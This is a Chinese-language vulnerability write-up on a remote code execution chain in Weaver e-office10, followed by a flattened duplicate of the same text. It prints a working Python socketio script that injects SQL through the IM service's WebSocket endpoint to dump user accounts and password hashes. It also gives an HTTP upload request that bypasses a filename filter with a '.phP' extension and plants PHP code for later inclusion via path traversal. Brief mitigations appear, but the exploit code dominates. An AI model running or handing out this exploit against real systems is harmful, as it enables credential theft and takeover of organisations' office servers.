泛微 e-office10 远程代码执行漏洞分析
字数 1088 2025-08-19 12:40:36

泛微 e-office10 远程代码执行漏洞分析与利用

漏洞概述

泛微 e-office10 存在一个远程代码执行漏洞,该漏洞由两部分组成:

  1. 通过 WebSocket 接口的 SQL 注入漏洞
  2. 文件上传结合文件包含导致的远程代码执行

漏洞分析

1. WebSocket 接口 SQL 注入

漏洞位于 IM 服务的 WebSocket 接口中,具体路径为 /web namespace 下的 outline recordLength 事件处理。

关键点:

  • 漏洞触发点:getPersonalOfflineRecord 方法
  • 注入参数:loginUserId 通过 query 参数传入
  • 受影响服务端口:4986 (IM 服务默认端口)

漏洞利用条件:

  • 需要存在 chat_personal_record 开头的表(系统默认会创建这些表,用户聊天后会自动生成如 chat_personal_record_1 等表)

2. 文件上传与包含

文件上传部分:

  • 上传接口:/eoffice10/server/public/api/welink/welink-move
  • 上传限制:
    • 文件内容校验(仅校验为 jpg 格式)
    • 上传目录为 attachment 子目录,无法直接访问
    • 文件名过滤(但可通过大小写绕过,如上传 .phP 文件)

文件包含部分:

  • 包含函数:getArrayFromPhp
  • 包含路径构造:
    • 使用 getLangFileFullPath 方法
    • 通过 ../../ 目录遍历
    • Windows 系统下大小写不敏感特性可利用(.phP 可被当作 .php 包含)

漏洞利用步骤

1. WebSocket SQL 注入利用

import socketio

sio = socketio.Client()

@sio.on('connect', namespace='/web')
def connect():
    print('Connected to the server')
    sio.emit('outline recordLength', None, namespace='/web')

@sio.on('send recordLength', namespace='/web')
def on_message(data):
    print('Received data: ' + str(data))

# SQL注入获取用户凭证
sio.connect('http://192.168.0.139:4986?loginUserId=aa",`chat_object`) union select 1,2,3,group_concat(user_accounts,0x7e,password,0x7e),5,6,0,8,9,10,11,12 from user%23&loginDeptId=0&loginRoleId=1', namespaces=['/web'])

try:
    sio.wait()
except KeyboardInterrupt:
    pass
finally:
    sio.disconnect()

2. 文件上传与包含利用

文件上传请求示例:

POST /eoffice10/server/public/api/welink/welink-move HTTP/1.1
Host: 192.168.0.139:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.139:8010/eoffice10/client/web/system/user/manage
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvQIRygBK
Content-Length: 8003

------WebKitFormBoundaryvQIRygBK
Content-Disposition: form-data; name="file"; filename="1.phP"
Content-Type: image/png

<jpg文件头><?php phpinfo(); ?>
------WebKitFormBoundaryvQIRygBK--

文件包含利用:

通过构造请求包含上传的 PHP 文件,利用 Windows 大小写不敏感特性执行代码。

临时修复方案

  1. 使用防护类设备对相关资产进行 SQL 注入、文件包含等攻击的防护
  2. 在确认不影响业务的情况下可临时关闭 IM 服务
  3. 使用网络 ACL 策略限制 IM 服务的公网访问

环境要求

  • Python 环境需要特定版本的 socketio 库:
    pip install python-engineio==3.14.2 python-socketio==4.6.0
    
  • 目标系统:Windows(利用文件包含的大小写不敏感特性)

注意事项

  1. 获取的密码为 MD5(unix) 格式,可能需要破解
  2. 上传的文件位于 attachment 子目录,无法直接访问,必须通过文件包含漏洞利用
  3. 利用 Windows 系统特性,上传 .phP 文件可被当作 .php 文件包含执行
泛微 e-office10 远程代码执行漏洞分析与利用 漏洞概述 泛微 e-office10 存在一个远程代码执行漏洞,该漏洞由两部分组成: 通过 WebSocket 接口的 SQL 注入漏洞 文件上传结合文件包含导致的远程代码执行 漏洞分析 1. WebSocket 接口 SQL 注入 漏洞位于 IM 服务的 WebSocket 接口中,具体路径为 /web namespace 下的 outline recordLength 事件处理。 关键点: 漏洞触发点: getPersonalOfflineRecord 方法 注入参数: loginUserId 通过 query 参数传入 受影响服务端口:4986 (IM 服务默认端口) 漏洞利用条件: 需要存在 chat_personal_record 开头的表(系统默认会创建这些表,用户聊天后会自动生成如 chat_personal_record_1 等表) 2. 文件上传与包含 文件上传部分: 上传接口: /eoffice10/server/public/api/welink/welink-move 上传限制: 文件内容校验(仅校验为 jpg 格式) 上传目录为 attachment 子目录,无法直接访问 文件名过滤(但可通过大小写绕过,如上传 .phP 文件) 文件包含部分: 包含函数: getArrayFromPhp 包含路径构造: 使用 getLangFileFullPath 方法 通过 ../../ 目录遍历 Windows 系统下大小写不敏感特性可利用( .phP 可被当作 .php 包含) 漏洞利用步骤 1. WebSocket SQL 注入利用 2. 文件上传与包含利用 文件上传请求示例: 文件包含利用: 通过构造请求包含上传的 PHP 文件,利用 Windows 大小写不敏感特性执行代码。 临时修复方案 使用防护类设备对相关资产进行 SQL 注入、文件包含等攻击的防护 在确认不影响业务的情况下可临时关闭 IM 服务 使用网络 ACL 策略限制 IM 服务的公网访问 环境要求 Python 环境需要特定版本的 socketio 库: 目标系统:Windows(利用文件包含的大小写不敏感特性) 注意事项 获取的密码为 MD5(unix) 格式,可能需要破解 上传的文件位于 attachment 子目录,无法直接访问,必须通过文件包含漏洞利用 利用 Windows 系统特性,上传 .phP 文件可被当作 .php 文件包含执行